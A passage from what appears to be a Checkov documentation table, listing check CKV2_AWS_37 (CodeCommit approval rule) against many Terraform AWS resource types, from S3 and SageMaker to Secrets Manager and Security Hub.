                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2067 | CKV2_AWS_37              | resource                         | aws_s3_bucket_acl                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2068 | CKV2_AWS_37              | resource                         | aws_s3_bucket_analytics_configuration                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2069 | CKV2_AWS_37              | resource                         | aws_s3_bucket_cors_configuration                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2070 | CKV2_AWS_37              | resource                         | aws_s3_bucket_intelligent_tiering_configuration                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2071 | CKV2_AWS_37              | resource                         | aws_s3_bucket_inventory                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2072 | CKV2_AWS_37              | resource                         | aws_s3_bucket_lifecycle_configuration                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2073 | CKV2_AWS_37              | resource                         | aws_s3_bucket_logging                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2074 | CKV2_AWS_37              | resource                         | aws_s3_bucket_metric                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2075 | CKV2_AWS_37              | resource                         | aws_s3_bucket_notification                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2076 | CKV2_AWS_37              | resource                         | aws_s3_bucket_object                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2077 | CKV2_AWS_37              | resource                         | aws_s3_bucket_object_lock_configuration                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2078 | CKV2_AWS_37              | resource                         | aws_s3_bucket_ownership_controls                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2079 | CKV2_AWS_37              | resource                         | aws_s3_bucket_policy                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2080 | CKV2_AWS_37              | resource                         | aws_s3_bucket_public_access_block                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2081 | CKV2_AWS_37              | resource                         | aws_s3_bucket_replication_configuration                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2082 | CKV2_AWS_37              | resource                         | aws_s3_bucket_request_payment_configuration                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2083 | CKV2_AWS_37              | resource                         | aws_s3_bucket_server_side_encryption_configuration                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2084 | CKV2_AWS_37              | resource                         | aws_s3_bucket_versioning                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2085 | CKV2_AWS_37              | resource                         | aws_s3_bucket_website_configuration                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2086 | CKV2_AWS_37              | resource                         | aws_s3_directory_bucket                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2087 | CKV2_AWS_37              | resource                         | aws_s3_object                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2088 | CKV2_AWS_37              | resource                         | aws_s3_object_copy                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2089 | CKV2_AWS_37              | resource                         | aws_s3control_access_grant                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2090 | CKV2_AWS_37              | resource                         | aws_s3control_access_grants_instance                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2091 | CKV2_AWS_37              | resource                         | aws_s3control_access_grants_instance_resource_policy                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2092 | CKV2_AWS_37              | resource                         | aws_s3control_access_grants_location                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2093 | CKV2_AWS_37              | resource                         | aws_s3control_access_point_policy                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2094 | CKV2_AWS_37              | resource                         | aws_s3control_bucket                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2095 | CKV2_AWS_37              | resource                         | aws_s3control_bucket_lifecycle_configuration                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2096 | CKV2_AWS_37              | resource                         | aws_s3control_bucket_policy                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2097 | CKV2_AWS_37              | resource                         | aws_s3control_multi_region_access_point                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2098 | CKV2_AWS_37              | resource                         | aws_s3control_multi_region_access_point_policy                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2099 | CKV2_AWS_37              | resource                         | aws_s3control_object_lambda_access_point                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2100 | CKV2_AWS_37              | resource                         | aws_s3control_object_lambda_access_point_policy                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2101 | CKV2_AWS_37              | resource                         | aws_s3control_storage_lens_configuration                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2102 | CKV2_AWS_37              | resource                         | aws_s3outposts_endpoint                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2103 | CKV2_AWS_37              | resource                         | aws_s3tables_namespace                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2104 | CKV2_AWS_37              | resource                         | aws_s3tables_table                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2105 | CKV2_AWS_37              | resource                         | aws_s3tables_table_bucket                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2106 | CKV2_AWS_37              | resource                         | aws_s3tables_table_bucket_policy                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2107 | CKV2_AWS_37              | resource                         | aws_s3tables_table_policy                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2108 | CKV2_AWS_37              | resource                         | aws_sagemaker_app                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2109 | CKV2_AWS_37              | resource                         | aws_sagemaker_app_image_config                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2110 | CKV2_AWS_37              | resource                         | aws_sagemaker_code_repository                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2111 | CKV2_AWS_37              | resource                         | aws_sagemaker_data_quality_job_definition                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2112 | CKV2_AWS_37              | resource                         | aws_sagemaker_device                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2113 | CKV2_AWS_37              | resource                         | aws_sagemaker_device_fleet                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2114 | CKV2_AWS_37              | resource                         | aws_sagemaker_domain                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2115 | CKV2_AWS_37              | resource                         | aws_sagemaker_endpoint                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2116 | CKV2_AWS_37              | resource                         | aws_sagemaker_endpoint_configuration                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2117 | CKV2_AWS_37              | resource                         | aws_sagemaker_feature_group                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2118 | CKV2_AWS_37              | resource                         | aws_sagemaker_flow_definition                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2119 | CKV2_AWS_37              | resource                         | aws_sagemaker_hub                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2120 | CKV2_AWS_37              | resource                         | aws_sagemaker_human_task_ui                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2121 | CKV2_AWS_37              | resource                         | aws_sagemaker_image                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2122 | CKV2_AWS_37              | resource                         | aws_sagemaker_image_version                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2123 | CKV2_AWS_37              | resource                         | aws_sagemaker_mlflow_tracking_server                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2124 | CKV2_AWS_37              | resource                         | aws_sagemaker_model                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2125 | CKV2_AWS_37              | resource                         | aws_sagemaker_model_package_group                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2126 | CKV2_AWS_37              | resource                         | aws_sagemaker_model_package_group_policy                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2127 | CKV2_AWS_37              | resource                         | aws_sagemaker_monitoring_schedule                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2128 | CKV2_AWS_37              | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2129 | CKV2_AWS_37              | resource                         | aws_sagemaker_notebook_instance_lifecycle_configuration                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2130 | CKV2_AWS_37              | resource                         | aws_sagemaker_pipeline                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2131 | CKV2_AWS_37              | resource                         | aws_sagemaker_project                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2132 | CKV2_AWS_37              | resource                         | aws_sagemaker_servicecatalog_portfolio_status                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2133 | CKV2_AWS_37              | resource                         | aws_sagemaker_space                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2134 | CKV2_AWS_37              | resource                         | aws_sagemaker_studio_lifecycle_config                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2135 | CKV2_AWS_37              | resource                         | aws_sagemaker_user_profile                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2136 | CKV2_AWS_37              | resource                         | aws_sagemaker_workforce                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2137 | CKV2_AWS_37              | resource                         | aws_sagemaker_workteam                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2138 | CKV2_AWS_37              | resource                         | aws_scheduler_schedule                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2139 | CKV2_AWS_37              | resource                         | aws_scheduler_schedule_group                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2140 | CKV2_AWS_37              | resource                         | aws_schemas_discoverer                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2141 | CKV2_AWS_37              | resource                         | aws_schemas_registry                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2142 | CKV2_AWS_37              | resource                         | aws_schemas_registry_policy                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2143 | CKV2_AWS_37              | resource                         | aws_schemas_schema                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2144 | CKV2_AWS_37              | resource                         | aws_secretsmanager_secret                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2145 | CKV2_AWS_37              | resource                         | aws_secretsmanager_secret_policy                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2146 | CKV2_AWS_37              | resource                         | aws_secretsmanager_secret_rotation                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2147 | CKV2_AWS_37              | resource                         | aws_secretsmanager_secret_version                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2148 | CKV2_AWS_37              | resource                         | aws_security_group                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2149 | CKV2_AWS_37              | resource                         | aws_security_group_rule                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2150 | CKV2_AWS_37              | resource                         | aws_securityhub_account                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2151 | CKV2_AWS_37              | resource                         | aws_securityhub_action_target                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2152 | CKV2_AWS_37              | resource                         | aws_securityhub_automation_rule                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2153 | CKV2_AWS_37              | resource                         | aws_securityhub_configuration_policy                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2154 | CKV2_AWS_37              | resource                         | aws_securityhub_configuration_policy_association                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2155 | CKV2_AWS_37              | resource                         | aws_securityhub_finding_aggregator                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 